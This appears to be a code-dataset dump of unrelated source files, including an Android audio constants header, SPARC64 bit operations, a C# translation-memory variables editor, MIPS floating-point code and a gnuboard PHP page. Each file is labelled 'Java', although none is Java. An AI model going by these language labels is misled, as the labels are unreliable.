#ifndef AUDIO_NO_SYSTEM_DECLARATIONS
AUDIO_MODE_INVALID = -2, // (-2)
AUDIO_MODE_CURRENT = -1, // (-1)
#endif // AUDIO_NO_SYSTEM_DECLARATIONS
AUDIO_MODE_NORMAL = 0,
AUDIO_MODE_RINGTONE = 1,
AUDIO_MODE_IN_CALL = 2,
AUDIO_MODE_IN_COMMUNICATION = 3,
} audio_mode_t;
enum {
AUDIO_DEVICE_NONE = 0x0u,
AUDIO_DEVICE_BIT_IN = 0x80000000u,
AUDIO_DEVICE_BIT_DEFAULT = 0x40000000u,
AUDIO_DEVICE_OUT_EARPIECE = 0x1u,
AUDIO_DEVICE_OUT_SPEAKER = 0x2u,
AUDIO_DEVICE_OUT_WIRED_HEADSET = 0x4u,
AUDIO_DEVICE_OUT_WIRED_HEADPHONE = 0x8u,
AUDIO_DEVICE_OUT_BLUETOOTH_SCO = 0x10u,
AUDIO_DEVICE_OUT_BLUETOOTH_SCO_HEADSET = 0x20u,
AUDIO_DEVICE_OUT_BLUETOOTH_SCO_CARKIT = 0x40u,
AUDIO_DEVICE_OUT_BLUETOOTH_A2DP = 0x80u,
AUDIO_DEVICE_OUT_BLUETOOTH_A2DP_HEADPHONES = 0x100u,
AUDIO_DEVICE_OUT_BLUETOOTH_A2DP_SPEAKER = 0x200u,
AUDIO_DEVICE_OUT_AUX_DIGITAL = 0x400u,
AUDIO_DEVICE_OUT_HDMI = 0x400u, // OUT_AUX_DIGITAL
AUDIO_DEVICE_OUT_ANLG_DOCK_HEADSET = 0x800u,
AUDIO_DEVICE_OUT_DGTL_DOCK_HEADSET = 0x1000u,
AUDIO_DEVICE_OUT_USB_ACCESSORY = 0x2000u,
AUDIO_DEVICE_OUT_USB_DEVICE = 0x4000u,
AUDIO_DEVICE_OUT_REMOTE_SUBMIX = 0x8000u,
AUDIO_DEVICE_OUT_TELEPHONY_TX = 0x10000u,
AUDIO_DEVICE_OUT_LINE = 0x20000u,
AUDIO_DEVICE_OUT_HDMI_ARC = 0x40000u,
AUDIO_DEVICE_OUT_SPDIF = 0x80000u,
AUDIO_DEVICE_OUT_FM = 0x100000u,
AUDIO_DEVICE_OUT_AUX_LINE = 0x200000u,
AUDIO_DEVICE_OUT_SPEAKER_SAFE = 0x400000u,
AUDIO_DEVICE_OUT_IP = 0x800000u,
AUDIO_DEVICE_OUT_BUS = 0x1000000u,
AUDIO_DEVICE_OUT_PROXY = 0x2000000u,
AUDIO_DEVICE_OUT_USB_HEADSET = 0x4000000u,
AUDIO_DEVICE_OUT_HEARING_AID = 0x8000000u,
AUDIO_DEVICE_OUT_ECHO_CANCELLER = 0x10000000u,
AUDIO_DEVICE_OUT_DEFAULT = 0x40000000u, // BIT_DEFAULT
AUDIO_DEVICE_IN_COMMUNICATION = 0x80000001u, // BIT_IN | 0x1
AUDIO_DEVICE_IN_AMBIENT = 0x80000002u, // BIT_IN | 0x2
AUDIO_DEVICE_IN_BUILTIN_MIC = 0x80000004u, // BIT_IN | 0x4
AUDIO_DEVICE_IN_BLUETOOTH_SCO_HEADSET = 0x80000008u, // BIT_IN | 0x8
AUDIO_DEVICE_IN_WIRED_HEADSET = 0x80000010u, // BIT_IN | 0x10
AUDIO_DEVICE_IN_AUX_DIGITAL = 0x80000020u, // BIT_IN | 0x20
AUDIO_DEVICE_IN_HDMI = 0x80000020u, // IN_AUX_DIGITAL
AUDIO_DEVICE_IN_VOICE_CALL = 0x80000040u, // BIT_IN | 0x40
AUDIO_DEVICE_IN_TELEPHONY_RX = 0x80000040u, // IN_VOICE_CALL
AUDIO_DEVICE_IN_BACK_MIC = 0x80000080u, // BIT_IN | 0x80
AUDIO_DEVICE_IN_REMOTE_SUBMIX = 0x80000100u, // BIT_IN | 0x100
AUDIO_DEVICE_IN_ANLG_DOCK_HEADSET = 0x80000200u, // BIT_IN | 0x200
AUDIO_DEVICE_IN_DGTL_DOCK_HEADSET = 0x80000400u, // BIT_IN | 0x400
AUDIO_DEVICE_IN_USB_ACCESSORY = 0x80000800u, // BIT_IN | 0x800
AUDIO_DEVICE_IN_USB_DEVICE = 0x80001000u, // BIT_IN | 0x1000
AUDIO_DEVICE_IN_FM_TUNER = 0x80002000u, // BIT_IN | 0x2000
AUDIO_DEVICE_IN_TV_TUNER = 0x80004000u, // BIT_IN | 0x4000
AUDIO_DEVICE_IN_LINE = 0x80008000u, // BIT_IN | 0x8000
AUDIO_DEVICE_IN_SPDIF = 0x80010000u, // BIT_IN | 0x10000
AUDIO_DEVICE_IN_BLUETOOTH_A2DP = 0x80020000u, // BIT_IN | 0x20000
AUDIO_DEVICE_IN_LOOPBACK = 0x80040000u, // BIT_IN | 0x40000
AUDIO_DEVICE_IN_IP = 0x80080000u, // BIT_IN | 0x80000
AUDIO_DEVICE_IN_BUS = 0x80100000u, // BIT_IN | 0x100000
AUDIO_DEVICE_IN_PROXY = 0x81000000u, // BIT_IN | 0x1000000
AUDIO_DEVICE_IN_USB_HEADSET = 0x82000000u, // BIT_IN | 0x2000000
AUDIO_DEVICE_IN_BLUETOOTH_BLE = 0x84000000u, // BIT_IN | 0x4000000
AUDIO_DEVICE_IN_DEFAULT = 0xC0000000u, // BIT_IN | BIT_DEFAULT
};
typedef enum {
AUDIO_OUTPUT_FLAG_NONE = 0x0,
AUDIO_OUTPUT_FLAG_DIRECT = 0x1,
AUDIO_OUTPUT_FLAG_PRIMARY = 0x2,
AUDIO_OUTPUT_FLAG_FAST = 0x4,
AUDIO_OUTPUT_FLAG_DEEP_BUFFER = 0x8,
AUDIO_OUTPUT_FLAG_COMPRESS_OFFLOAD = 0x10,
AUDIO_OUTPUT_FLAG_NON_BLOCKING = 0x20,
AUDIO_OUTPUT_FLAG_HW_AV_SYNC = 0x40,
AUDIO_OUTPUT_FLAG_TTS = 0x80,
AUDIO_OUTPUT_FLAG_RAW = 0x100,
AUDIO_OUTPUT_FLAG_SYNC = 0x200,
AUDIO_OUTPUT_FLAG_IEC958_NONAUDIO = 0x400,
AUDIO_OUTPUT_FLAG_DIRECT_PCM = 0x2000,
AUDIO_OUTPUT_FLAG_MMAP_NOIRQ = 0x4000,
AUDIO_OUTPUT_FLAG_VOIP_RX = 0x8000,
AUDIO_OUTPUT_FLAG_INCALL_MUSIC = 0x10000,
} audio_output_flags_t;
typedef enum {
AUDIO_INPUT_FLAG_NONE = 0x0,
AUDIO_INPUT_FLAG_FAST = 0x1,
AUDIO_INPUT_FLAG_HW_HOTWORD = 0x2,
AUDIO_INPUT_FLAG_RAW = 0x4,
AUDIO_INPUT_FLAG_SYNC = 0x8,
AUDIO_INPUT_FLAG_MMAP_NOIRQ = 0x10,
AUDIO_INPUT_FLAG_VOIP_TX = 0x20,
AUDIO_INPUT_FLAG_HW_AV_SYNC = 0x40,
} audio_input_flags_t;
typedef enum {
AUDIO_USAGE_UNKNOWN = 0,
AUDIO_USAGE_MEDIA = 1,
AUDIO_USAGE_VOICE_COMMUNICATION = 2,
AUDIO_USAGE_VOICE_COMMUNICATION_SIGNALLING = 3,
AUDIO_USAGE_ALARM = 4,
AUDIO_USAGE_NOTIFICATION = 5,
AUDIO_USAGE_NOTIFICATION_TELEPHONY_RINGTONE = 6,
#ifndef AUDIO_NO_SYSTEM_DECLARATIONS
AUDIO_USAGE_NOTIFICATION_COMMUNICATION_REQUEST = 7,
AUDIO_USAGE_NOTIFICATION_COMMUNICATION_INSTANT = 8,
AUDIO_USAGE_NOTIFICATION_COMMUNICATION_DELAYED = 9,
AUDIO_USAGE_NOTIFICATION_EVENT = 10,
#endif // AUDIO_NO_SYSTEM_DECLARATIONS
AUDIO_USAGE_ASSISTANCE_ACCESSIBILITY = 11,
AUDIO_USAGE_ASSISTANCE_NAVIGATION_GUIDANCE = 12,
AUDIO_USAGE_ASSISTANCE_SONIFICATION = 13,
AUDIO_USAGE_GAME = 14,
AUDIO_USAGE_VIRTUAL_SOURCE = 15,
AUDIO_USAGE_ASSISTANT = 16,
} audio_usage_t;
typedef enum {
AUDIO_CONTENT_TYPE_UNKNOWN = 0u,
AUDIO_CONTENT_TYPE_SPEECH = 1u,
AUDIO_CONTENT_TYPE_MUSIC = 2u,
AUDIO_CONTENT_TYPE_MOVIE = 3u,
AUDIO_CONTENT_TYPE_SONIFICATION = 4u,
} audio_content_type_t;
enum {
AUDIO_GAIN_MODE_JOINT = 0x1u,
AUDIO_GAIN_MODE_CHANNELS = 0x2u,
AUDIO_GAIN_MODE_RAMP = 0x4u,
};
typedef enum {
AUDIO_PORT_ROLE_NONE = 0,
AUDIO_PORT_ROLE_SOURCE = 1, // (::android::hardware::audio::common::V4_0::AudioPortRole.NONE implicitly + 1)
AUDIO_PORT_ROLE_SINK = 2, // (::android::hardware::audio::common::V4_0::AudioPortRole.SOURCE implicitly + 1)
} audio_port_role_t;
typedef enum {
AUDIO_PORT_TYPE_NONE = 0,
AUDIO_PORT_TYPE_DEVICE = 1, // (::android::hardware::audio::common::V4_0::AudioPortType.NONE implicitly + 1)
AUDIO_PORT_TYPE_MIX = 2, // (::android::hardware::audio::common::V4_0::AudioPortType.DEVICE implicitly + 1)
AUDIO_PORT_TYPE_SESSION = 3, // (::android::hardware::audio::common::V4_0::AudioPortType.MIX implicitly + 1)
} audio_port_type_t;
enum {
AUDIO_PORT_CONFIG_SAMPLE_RATE = 0x1u,
AUDIO_PORT_CONFIG_CHANNEL_MASK = 0x2u,
AUDIO_PORT_CONFIG_FORMAT = 0x4u,
AUDIO_PORT_CONFIG_GAIN = 0x8u,
};
typedef enum {
AUDIO_LATENCY_LOW = 0,
AUDIO_LATENCY_NORMAL = 1, // (::android::hardware::audio::common::V4_0::AudioMixLatencyClass.LOW implicitly + 1)
} audio_mix_latency_class_t;
#ifdef __cplusplus
}
#endif
#endif // HIDL_GENERATED_ANDROID_HARDWARE_AUDIO_COMMON_V4_0_EXPORTED_CONSTANTS_H_
| Java |
/* $Id: bitops.h,v 1.1.1.1 2004/06/19 05:02:56 ashieh Exp $
* bitops.h: Bit string operations on the V9.
*
* Copyright 1996, 1997 David S. Miller (davem@caip.rutgers.edu)
*/
#ifndef _SPARC64_BITOPS_H
#define _SPARC64_BITOPS_H
#include <asm/byteorder.h>
extern long ___test_and_set_bit(unsigned long nr, volatile void *addr);
extern long ___test_and_clear_bit(unsigned long nr, volatile void *addr);
extern long ___test_and_change_bit(unsigned long nr, volatile void *addr);
#define test_and_set_bit(nr,addr) ({___test_and_set_bit(nr,addr)!=0;})
#define test_and_clear_bit(nr,addr) ({___test_and_clear_bit(nr,addr)!=0;})
#define test_and_change_bit(nr,addr) ({___test_and_change_bit(nr,addr)!=0;})
#define set_bit(nr,addr) ((void)___test_and_set_bit(nr,addr))
#define clear_bit(nr,addr) ((void)___test_and_clear_bit(nr,addr))
#define change_bit(nr,addr) ((void)___test_and_change_bit(nr,addr))
/* "non-atomic" versions... */
#define __set_bit(X,Y) \
do { unsigned long __nr = (X); \
long *__m = ((long *) (Y)) + (__nr >> 6); \
*__m |= (1UL << (__nr & 63)); \
} while (0)
#define __clear_bit(X,Y) \
do { unsigned long __nr = (X); \
long *__m = ((long *) (Y)) + (__nr >> 6); \
*__m &= ~(1UL << (__nr & 63)); \
} while (0)
#define __change_bit(X,Y) \
do { unsigned long __nr = (X); \
long *__m = ((long *) (Y)) + (__nr >> 6); \
*__m ^= (1UL << (__nr & 63)); \
} while (0)
#define __test_and_set_bit(X,Y) \
({ unsigned long __nr = (X); \
long *__m = ((long *) (Y)) + (__nr >> 6); \
long __old = *__m; \
long __mask = (1UL << (__nr & 63)); \
*__m = (__old | __mask); \
((__old & __mask) != 0); \
})
#define __test_and_clear_bit(X,Y) \
({ unsigned long __nr = (X); \
long *__m = ((long *) (Y)) + (__nr >> 6); \
long __old = *__m; \
long __mask = (1UL << (__nr & 63)); \
*__m = (__old & ~__mask); \
((__old & __mask) != 0); \
})
#define __test_and_change_bit(X,Y) \
({ unsigned long __nr = (X); \
long *__m = ((long *) (Y)) + (__nr >> 6); \
long __old = *__m; \
long __mask = (1UL << (__nr & 63)); \
*__m = (__old ^ __mask); \
((__old & __mask) != 0); \
})
#define smp_mb__before_clear_bit() do { } while(0)
#define smp_mb__after_clear_bit() do { } while(0)
extern __inline__ int test_bit(int nr, __const__ void *addr)
{
return (1UL & (((__const__ long *) addr)[nr >> 6] >> (nr & 63))) != 0UL;
}
/* The easy/cheese version for now. */
extern __inline__ unsigned long ffz(unsigned long word)
{
unsigned long result;
#ifdef ULTRA_HAS_POPULATION_COUNT /* Thanks for nothing Sun... */
__asm__ __volatile__(
" brz,pn %0, 1f\n"
" neg %0, %%g1\n"
" xnor %0, %%g1, %%g2\n"
" popc %%g2, %0\n"
"1: " : "=&r" (result)
: "0" (word)
: "g1", "g2");
#else
#if 1 /* def EASY_CHEESE_VERSION */
result = 0;
while(word & 1) {
result++;
word >>= 1;
}
#else
unsigned long tmp;
result = 0;
tmp = ~word & -~word;
if (!(unsigned)tmp) {
tmp >>= 32;
result = 32;
}
if (!(unsigned short)tmp) {
tmp >>= 16;
result += 16;
}
if (!(unsigned char)tmp) {
tmp >>= 8;
result += 8;
}
if (tmp & 0xf0) result += 4;
if (tmp & 0xcc) result += 2;
if (tmp & 0xaa) result ++;
#endif
#endif
return result;
}
#ifdef __KERNEL__
/*
* ffs: find first bit set. This is defined the same way as
* the libc and compiler builtin ffs routines, therefore
* differs in spirit from the above ffz (man ffs).
*/
#define ffs(x) generic_ffs(x)
/*
* hweightN: returns the hamming weight (i.e. the number
* of bits set) of a N-bit word
*/
#ifdef ULTRA_HAS_POPULATION_COUNT
extern __inline__ unsigned int hweight32(unsigned int w)
{
unsigned int res;
__asm__ ("popc %1,%0" : "=r" (res) : "r" (w & 0xffffffff));
return res;
}
extern __inline__ unsigned int hweight16(unsigned int w)
{
unsigned int res;
__asm__ ("popc %1,%0" : "=r" (res) : "r" (w & 0xffff));
return res;
}
extern __inline__ unsigned int hweight8(unsigned int w)
{
unsigned int res;
__asm__ ("popc %1,%0" : "=r" (res) : "r" (w & 0xff));
return res;
}
#else
#define hweight32(x) generic_hweight32(x)
#define hweight16(x) generic_hweight16(x)
#define hweight8(x) generic_hweight8(x)
#endif
#endif /* __KERNEL__ */
/* find_next_zero_bit() finds the first zero bit in a bit string of length
* 'size' bits, starting the search at bit 'offset'. This is largely based
* on Linus's ALPHA routines, which are pretty portable BTW.
*/
extern __inline__ unsigned long find_next_zero_bit(void *addr, unsigned long size, unsigned long offset)
{
unsigned long *p = ((unsigned long *) addr) + (offset >> 6);
unsigned long result = offset & ~63UL;
unsigned long tmp;
if (offset >= size)
return size;
size -= result;
offset &= 63UL;
if (offset) {
tmp = *(p++);
tmp |= ~0UL >> (64-offset);
if (size < 64)
goto found_first;
if (~tmp)
goto found_middle;
size -= 64;
result += 64;
}
while (size & ~63UL) {
if (~(tmp = *(p++)))
goto found_middle;
result += 64;
size -= 64;
}
if (!size)
return result;
tmp = *p;
found_first:
tmp |= ~0UL << size;
if (tmp == ~0UL) /* Are any bits zero? */
return result + size; /* Nope. */
found_middle:
return result + ffz(tmp);
}
#define find_first_zero_bit(addr, size) \
find_next_zero_bit((addr), (size), 0)
extern long ___test_and_set_le_bit(int nr, volatile void *addr);
extern long ___test_and_clear_le_bit(int nr, volatile void *addr);
#define test_and_set_le_bit(nr,addr) ({___test_and_set_le_bit(nr,addr)!=0;})
#define test_and_clear_le_bit(nr,addr) ({___test_and_clear_le_bit(nr,addr)!=0;})
#define set_le_bit(nr,addr) ((void)___test_and_set_le_bit(nr,addr))
#define clear_le_bit(nr,addr) ((void)___test_and_clear_le_bit(nr,addr))
extern __inline__ int test_le_bit(int nr, __const__ void * addr)
{
int mask;
__const__ unsigned char *ADDR = (__const__ unsigned char *) addr;
ADDR += nr >> 3;
mask = 1 << (nr & 0x07);
return ((mask & *ADDR) != 0);
}
#define find_first_zero_le_bit(addr, size) \
find_next_zero_le_bit((addr), (size), 0)
extern __inline__ unsigned long find_next_zero_le_bit(void *addr, unsigned long size, unsigned long offset)
{
unsigned long *p = ((unsigned long *) addr) + (offset >> 6);
unsigned long result = offset & ~63UL;
unsigned long tmp;
if (offset >= size)
return size;
size -= result;
offset &= 63UL;
if(offset) {
tmp = __swab64p(p++);
tmp |= (~0UL >> (64-offset));
if(size < 64)
goto found_first;
if(~tmp)
goto found_middle;
size -= 64;
result += 64;
}
while(size & ~63) {
if(~(tmp = __swab64p(p++)))
goto found_middle;
result += 64;
size -= 64;
}
if(!size)
return result;
tmp = __swab64p(p);
found_first:
tmp |= (~0UL << size);
if (tmp == ~0UL) /* Are any bits zero? */
return result + size; /* Nope. */
found_middle:
return result + ffz(tmp);
}
#ifdef __KERNEL__
#define ext2_set_bit test_and_set_le_bit
#define ext2_clear_bit test_and_clear_le_bit
#define ext2_test_bit test_le_bit
#define ext2_find_first_zero_bit find_first_zero_le_bit
#define ext2_find_next_zero_bit find_next_zero_le_bit
/* Bitmap functions for the minix filesystem. */
#define minix_test_and_set_bit(nr,addr) test_and_set_bit(nr,addr)
#define minix_set_bit(nr,addr) set_bit(nr,addr)
#define minix_test_and_clear_bit(nr,addr) test_and_clear_bit(nr,addr)
#define minix_test_bit(nr,addr) test_bit(nr,addr)
#define minix_find_first_zero_bit(addr,size) find_first_zero_bit(addr,size)
#endif /* __KERNEL__ */
#endif /* defined(_SPARC64_BITOPS_H) */
| Java |
#ifndef RENDERENVCONSTS_H_INCLUDED
#define RENDERENVCONSTS_H_INCLUDED
/*
* consts
*/
/* The following rendering method is expected to engage in the renderer */
/** \brief available renderer type
*/
enum PreferredRendererType {
RendererUndeterminate, /**< a memory block with undefined renderer */
RendererRasterizer, /**< rasterization renderer */
RendererPathTracer, /**< path tracing renderer */
RendererPhotonTracer, /**< photon tracing renderer */
RendererPhotonMap, /**< photon light map generation renderer */
RendererRadiosity, /**< radiosity light map generation renderer */
RendererRadianceCache, /**< radiance cache generation renderer */
RendererPRT, /**< precomputed radiance transfer renderer */
RendererSelection, /**< object selection renderer */
c_NumRendererType
};
static const int LightModelDirect = 0X1;
static const int LightModelShadow = 0X2;
static const int LightModelLightMap = 0X4;
static const int LightModelSHProbe = 0X8;
static const int LightModelSVO = 0X10;
enum GeometryModelType {
GeometryModelWireframe,
GeometryModelSolid
};
/* Renderer should not handle threading from these constants itself,
* this are the states telling which situation
* the renderer is being created with */
static const int RenderThreadMutual = 0X0;
static const int RenderThreadSeparated = 0X1;
/* These are what renderer expected to behave internally */
static const int RenderThreadSingle = 0X2;
static const int RenderThreadMultiple = 0X4;
enum RenderSpecType {
RenderSpecSWBuiltin,
RenderSpecSWAdvBuiltin,
RenderSpecHWOpenGL,
RenderSpecHWDirectX
};
enum RenderEnvironment {
RenderEnvVoid,
RenderEnvSpec,
RenderEnvProbe,
RenderEnvRenderable,
RenderEnvRenderOut,
RenderEnvThread,
RenderEnvAntialias,
RenderEnvFiltering,
RenderEnvGeometryModel,
RenderEnvPreferredRenderer,
c_NumRenderEnviornmentType
};
#endif // RENDERENVCONSTS_H_INCLUDED
| Java |
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SQLite;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Xml;
namespace VariablesManager
{
public partial class Form1 : Form
{
private string _selectedTm;
private string _selectedLrt;
public string SelectedTm
{
get => _selectedTm.Trim();
set => _selectedTm = value;
}
public string SelectedLrt
{
get => _selectedLrt.Trim();
set => _selectedLrt = value;
}
public Form1()
{
InitializeComponent();
}
private void btnBrowseTM_Click(object sender, EventArgs e)
{
openFileDialog.Filter = @"Translation memory (*.sdltm)|*.sdltm";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
SelectedTm = openFileDialog.FileName;
txtTM.Text = Path.GetFileName(openFileDialog.FileName);
}
}
private void btnBrowseLRT_Click(object sender, EventArgs e)
{
openFileDialog.Filter = @"Language Resource Template (*.resource)|*.resource";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
SelectedLrt = openFileDialog.FileName;
txtLRT.Text = Path.GetFileName(openFileDialog.FileName);
}
}
private void btnImportFromFile_Click(object sender, EventArgs e)
{
openFileDialog.Filter = @"Text files (*.txt)|*.txt|All files (*.*)|*.*";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
try
{
using (var sr = new StreamReader(openFileDialog.FileName))
{
txtVariables.Text = sr.ReadToEnd();
}
}
catch
{
}
}
}
private void btnExportToFile_Click(object sender, EventArgs e)
{
saveFileDialog.Filter = @"Text files (*.txt)|*.txt|All files (*.*)|*.*";
saveFileDialog.DefaultExt = "txt";
saveFileDialog.AddExtension = true;
if (saveFileDialog.ShowDialog() == DialogResult.OK)
{
try
{
using (var sw = new StreamWriter(saveFileDialog.FileName, false))
{
sw.Write(txtVariables.Text);
}
}
catch
{
}
}
MessageBox.Show(@"The variables list was exported to the selected file.");
}
private void btnFetchList_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(txtTM.Text))
{
FetchFromTm();
}
if (!string.IsNullOrEmpty(txtLRT.Text))
{
FetchFromLrt();
}
}
private void FetchFromLrt()
{
if (string.IsNullOrEmpty(SelectedLrt))
return;
var vars = GetVariablesAsTextFromLrt();
if (string.IsNullOrEmpty(vars))
return;
if (!string.IsNullOrEmpty(txtVariables.Text) &&
txtVariables.Text[txtVariables.Text.Length - 1] != '\n')
txtVariables.Text += "\r\n";
txtVariables.Text += vars;
}
private string GetVariablesAsTextFromLrt()
{
try
{
var xFinalDoc = new XmlDocument();
xFinalDoc.Load(SelectedLrt);
XmlNodeList languageResources = xFinalDoc.DocumentElement.GetElementsByTagName("LanguageResource");
if (languageResources.Count > 0)
{
foreach (XmlElement languageResource in languageResources)
{
if (languageResource.HasAttribute("Type") &&
languageResource.Attributes["Type"].Value == "Variables")
{
IEnumerable<XmlText> textElements = languageResource.ChildNodes.OfType<XmlText>();
if (textElements.Any())
{
var textElement = textElements.FirstOrDefault();
var base64Vars = textElement.Value;
return Encoding.UTF8.GetString(Convert.FromBase64String(base64Vars));
}
}
}
}
}
catch
{
}
return string.Empty;
}
private void FetchFromTm()
{
if (string.IsNullOrEmpty(txtTM.Text) || string.IsNullOrEmpty(SelectedTm))
return;
int count = 0;
var vars = GetVariablesAsTextFromTm(out count);
if (string.IsNullOrEmpty(vars))
return;
if (!string.IsNullOrEmpty(txtVariables.Text) && txtVariables.Text[txtVariables.Text.Length - 1] != '\n')
txtVariables.Text += "\r\n";
txtVariables.Text += vars;
}
private string GetVariablesAsTextFromTm(out int count)
{
count = 0;
try
{
SQLiteConnectionStringBuilder sb = new SQLiteConnectionStringBuilder();
sb.DataSource = SelectedTm;
sb.Version = 3;
sb.JournalMode = SQLiteJournalModeEnum.Off;
using (var connection = new SQLiteConnection(sb.ConnectionString, true))
using (var command = new SQLiteCommand(connection))
{
connection.Open();
command.CommandText = "SELECT data FROM resources where type = 1";
using (var reader = command.ExecuteReader())
{
while (reader.Read())
{
count++;
var buffer = GetBytes(reader);
return Encoding.UTF8.GetString(buffer);
}
}
}
}
catch
{
}
return string.Empty;
}
static byte[] GetBytes(SQLiteDataReader reader)
{
const int CHUNK_SIZE = 2 * 1024;
var buffer = new byte[CHUNK_SIZE];
long bytesRead;
long fieldOffset = 0;
using (MemoryStream stream = new MemoryStream())
{
while ((bytesRead = reader.GetBytes(0, fieldOffset, buffer, 0, buffer.Length)) > 0)
{
stream.Write(buffer, 0, (int)bytesRead);
fieldOffset += bytesRead;
}
return stream.ToArray();
}
}
private void btnAddToTMorLRT_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(txtTM.Text))
AddToTm();
if (!string.IsNullOrEmpty(txtLRT.Text))
AddToLrt();
}
private void AddToLrt()
{
if (string.IsNullOrEmpty(SelectedLrt) || string.IsNullOrEmpty(txtVariables.Text))
return;
var vars = GetVariablesAsTextFromLrt() + txtVariables.Text;
if (!string.IsNullOrEmpty(vars) && vars[vars.Length - 1] != '\n')
vars += "\r\n";
var base64Vars = Convert.ToBase64String(Encoding.UTF8.GetBytes(vars));
SetVariablesInLrt(base64Vars);
MessageBox.Show(@"The variables list was add to the selected Language Resource Template.");
}
private void SetVariablesInLrt(string base64Vars)
{
try
{
var xFinalDoc = new XmlDocument();
xFinalDoc.Load(SelectedLrt);
XmlNodeList languageResources = xFinalDoc.DocumentElement.GetElementsByTagName("LanguageResource");
if (languageResources.Count > 0)
{
foreach (XmlElement languageResource in languageResources)
{
if (languageResource.HasAttribute("Type") &&
languageResource.Attributes["Type"].Value == "Variables")
{
languageResource.InnerText = base64Vars;
}
}
}
using (var writer = new XmlTextWriter(SelectedLrt, null))
{
writer.Formatting = Formatting.None;
xFinalDoc.Save(writer);
}
}
catch
{
}
}
private void AddToTm()
{
if (string.IsNullOrEmpty(SelectedTm) || string.IsNullOrEmpty(txtVariables.Text))
return;
int count = 0;
var vars = GetVariablesAsTextFromTm(out count) + txtVariables.Text;
if (!string.IsNullOrEmpty(vars) && vars[vars.Length - 1] != '\n')
vars += "\r\n";
SetVariablesInTm(Encoding.UTF8.GetBytes(vars), count);
MessageBox.Show(@"The variables list was add to the selected Translation Memory.");
}
private void SetVariablesInTm(byte[] variablesAsBytes, int count)
{
try
{
var sb = new SQLiteConnectionStringBuilder
{
DataSource = SelectedTm,
Version = 3,
JournalMode = SQLiteJournalModeEnum.Off
};
int maxID = 0;
if (count == 0)
{
using (var connection = new SQLiteConnection(sb.ConnectionString, true))
{
using (var command = new SQLiteCommand(connection))
{
connection.Open();
command.CommandText = "Select max(id) from resources";
object oId = command.ExecuteScalar();
maxID = oId == DBNull.Value ? 1 : Convert.ToInt32(oId) + 1;
}
}
}
using (var connection = new SQLiteConnection(sb.ConnectionString, true))
{
using (var command = new SQLiteCommand(connection))
{
connection.Open();
if (count == 0)
{
command.CommandText =
string.Format(
"insert into resources (rowid, id, guid, type, language, data) values ({2}, {2}, '{0}', 1, '{1}', @data)",
Guid.NewGuid(), GetTmLanguage(), maxID);
}
else
{
command.CommandText = "update resources set data = @data where type = 1";
}
command.Parameters.Add("@data", DbType.Binary).Value = variablesAsBytes;
command.ExecuteNonQuery();
}
}
}
catch (Exception e)
{
}
}
private object GetTmLanguage()
{
try
{
var sb = new SQLiteConnectionStringBuilder
{
DataSource = SelectedTm,
Version = 3,
JournalMode = SQLiteJournalModeEnum.Off
};
using (var connection = new SQLiteConnection(sb.ConnectionString, true))
using (var command = new SQLiteCommand(connection))
{
connection.Open();
command.CommandText = "SELECT source_language FROM translation_memories";
using (var reader = command.ExecuteReader())
{
while (reader.Read())
{
return reader.GetString(0);
}
}
}
}
catch
{
}
return string.Empty;
}
private void btnReplateToTMorLRT_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(txtTM.Text))
{
ReplaceToTm();
}
if (!string.IsNullOrEmpty(txtLRT.Text))
{
ReplaceToLrt();
}
}
private void ReplaceToLrt()
{
if (string.IsNullOrEmpty(SelectedLrt))
{
return;
}
var vars = txtVariables.Text;
if (!string.IsNullOrEmpty(vars) && vars[vars.Length - 1] != '\n')
{
vars += "\r\n";
}
var base64Vars = Convert.ToBase64String(Encoding.UTF8.GetBytes(vars));
SetVariablesInLrt(base64Vars);
MessageBox.Show(@"The variables list from the selected Language Resource Template was replaced with the new one.");
}
private void ReplaceToTm()
{
if (string.IsNullOrEmpty(SelectedTm))
return;
var vars = txtVariables.Text;
if (!string.IsNullOrEmpty(vars) && vars[vars.Length - 1] != '\n')
vars += "\r\n";
var count = 0;
GetVariablesAsTextFromTm(out count);
SetVariablesInTm(Encoding.UTF8.GetBytes(vars), count);
MessageBox.Show(@"The variables list from the selected Translation Memory was replaced with the new one.");
}
private void btnClear_Click(object sender, EventArgs e)
{
txtVariables.Clear();
}
}
}
| Java |
/* IEEE754 floating point arithmetic
* single precision
*/
/*
* MIPS floating point support
* Copyright (C) 1994-2000 Algorithmics Ltd.
*
* ########################################################################
*
* This program is free software; you can distribute it and/or modify it
* under the terms of the GNU General Public License (Version 2) as
* published by the Free Software Foundation.
*
* This program is distributed in the hope it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 59 Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
* ########################################################################
*/
#include "ieee754sp.h"
/* close to ieeep754sp_logb
*/
ieee754sp ieee754sp_frexp(ieee754sp x, int *eptr)
{
COMPXSP;
CLEARCX;
EXPLODEXSP;
switch (xc) {
case IEEE754_CLASS_SNAN:
case IEEE754_CLASS_QNAN:
case IEEE754_CLASS_INF:
case IEEE754_CLASS_ZERO:
*eptr = 0;
return x;
case IEEE754_CLASS_DNORM:
SPDNORMX;
break;
case IEEE754_CLASS_NORM:
break;
}
*eptr = xe + 1;
return buildsp(xs, -1 + SP_EBIAS, xm & ~SP_HIDDEN_BIT);
}
| Java |
<?php
include_once "./_common.php";
//pc버전에서 모바일가기 링크 타고 들어올 경우 세션을 삭제한다. 세션이 삭제되면 모바일 기기에서 PC버전 접속시 자동으로 모바일로 이동된다. /extend/g4m.config.php 파일 참고.
if($_GET['from'] == 'pc'){
set_session("frommoblie", "");
}
include_once './_head.php';
// 최신글
$sql = " select bo_table, bo_subject,bo_m_latest_skin from {$g4['board_table']} where bo_m_use='1' order by gr_id, bo_m_sort, bo_table ";
$result = sql_query($sql);
for ($i = 0; $row = sql_fetch_array($result); $i++) {
echo g4m_latest($row['bo_m_latest_skin'], $row['bo_table']);
}
include_once './_tail.php';
?> | Java |
#ifndef MATRIX_SPMATRIX_H
#define MATRIX_SPMATRIX_H
#include "dgeMatrix.h"
